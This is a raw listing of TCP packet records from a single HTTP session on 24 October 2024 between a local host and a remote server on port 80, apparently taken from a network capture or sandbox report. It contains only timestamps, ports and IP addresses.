Oct 24, 2024 18:08:21.930015087 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.930032015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.930037975 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.930047989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.930064917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.930073977 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.930078030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.930097103 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.930151939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.930182934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.930196047 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.930201054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.930216074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.930234909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.930237055 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.930252075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.930295944 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.953188896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953267097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953311920 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.953322887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953360081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953373909 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.953393936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953428030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953464985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953497887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953531027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953566074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953581095 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.953581095 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.953605890 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953613043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.953639984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953651905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.953676939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953728914 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.953731060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953764915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953800917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953809023 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.953835011 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953881979 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.953891993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953946114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.953980923 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954014063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954030991 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.954049110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954060078 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.954082966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954128027 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.954137087 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954170942 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954204082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954211950 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.954238892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954272032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954315901 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.954327106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954360962 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954394102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954415083 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.954435110 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.954448938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954483032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954516888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954541922 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.954550028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954583883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954618931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954663038 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.954663038 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.954674006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954706907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954740047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954762936 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.954773903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954811096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954838991 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.954844952 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954879045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954888105 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.954912901 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954955101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.954962969 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.954991102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955024958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955043077 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.955059052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955092907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955104113 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.955127001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955159903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955174923 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.955193996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955228090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955241919 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.955260992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955296040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955322981 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.955354929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955415010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955440998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.955446005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955490112 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.955646038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955682039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955713987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955748081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955760002 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.955780983 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955794096 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.955817938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955852032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955885887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955893040 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.955919027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955951929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955974102 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.955986023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.955992937 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.956021070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956023932 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.956057072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956085920 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.956090927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956124067 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956139088 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.956160069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956193924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956204891 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.956229925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956267118 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956274986 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.956300020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956331968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956366062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956382036 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.956397057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956407070 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.956430912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956464052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956499100 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956507921 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.956532001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956557989 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.956569910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.956643105 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.957006931 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.957154036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.996083975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.996133089 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.996146917 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.996167898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.996212006 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.996237993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.996273041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.996395111 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.041867971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.041924000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.041959047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.041984081 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.041990995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.042028904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.042081118 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.042470932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.042510986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.042522907 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.042546034 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.042581081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.042588949 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.042615891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.042654991 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.042682886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.048820972 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.048852921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.048870087 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.048876047 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.048887968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.048903942 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.048903942 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.048955917 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.049002886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049017906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049058914 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.049088001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049103022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049118042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049133062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049139977 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.049149036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049171925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049180031 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.049186945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049201965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049201965 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.049216986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049252987 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.049323082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049335957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049350023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049365044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049371958 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.049386978 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.049443960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049460888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049475908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049487114 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.049489975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049504995 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.049506903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049520969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049555063 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.049700975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049715996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049731016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049745083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049748898 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.049762011 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049778938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.049810886 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.049810886 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.050151110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.050167084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.050183058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.050185919 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.050194979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.050216913 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.090189934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.090905905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.090961933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.090976954 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.090993881 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091012001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091021061 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091031075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091056108 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091064930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091078043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091080904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091098070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091120958 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091228008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091243982 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091259956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091264963 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091298103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091303110 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091321945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091336966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091352940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091367960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091375113 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091382980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091397047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091404915 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091414928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091415882 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091432095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091447115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091451883 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091460943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091476917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091494083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091497898 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091531992 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091691971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091707945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091723919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091730118 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091738939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091759920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091766119 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091774940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091792107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091806889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091816902 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091821909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091839075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091845989 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091855049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091864109 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091870070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091885090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091895103 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091901064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091917038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091933966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.091938019 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.091959000 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.092412949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092427969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092443943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092459917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092467070 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.092474937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092490911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092505932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092513084 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.092524052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092525959 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.092541933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092547894 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.092578888 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.092765093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092781067 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092797041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092811108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092825890 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.092828035 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092844009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092859983 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092866898 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.092884064 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.092885017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092900038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092915058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092931032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092936039 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.092945099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092961073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092962027 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.092976093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.092986107 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.092993021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.093008041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.093015909 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.093024969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.093039989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.093050003 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.093321085 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.096438885 CEST	49744	80	192.168.2.6	185.215.113.16
